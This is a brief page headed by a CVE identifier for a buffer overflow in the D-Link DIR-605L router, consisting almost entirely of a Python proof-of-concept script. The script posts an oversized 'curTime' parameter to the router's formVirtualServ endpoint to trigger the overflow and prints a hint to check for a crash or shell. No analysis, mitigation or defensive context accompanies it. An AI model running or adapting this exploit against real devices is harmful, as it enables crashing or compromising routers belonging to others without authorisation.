CVE-2026-5979 D-Link DIR-605L 缓冲区溢出漏洞

import requests # Target URL for the vulnerable endpoint target_url = "http://<target_ip>/goform/formVirtualServ" # Payload generation # This payload attempts to trigger a buffer overflow by exceeding # the expected buffer size of the 'curTime' parameter. # The specific offset may vary based on firmware analysis. buffer_size = 500 payload = "A" * buffer_size # Prepare POST data data = { "curTime": payload } try: # Send the malicious request print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) # Check response if response.status_code == 200: print("Request sent successfully. Check device for crash or shell.") else: print(f"Received status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")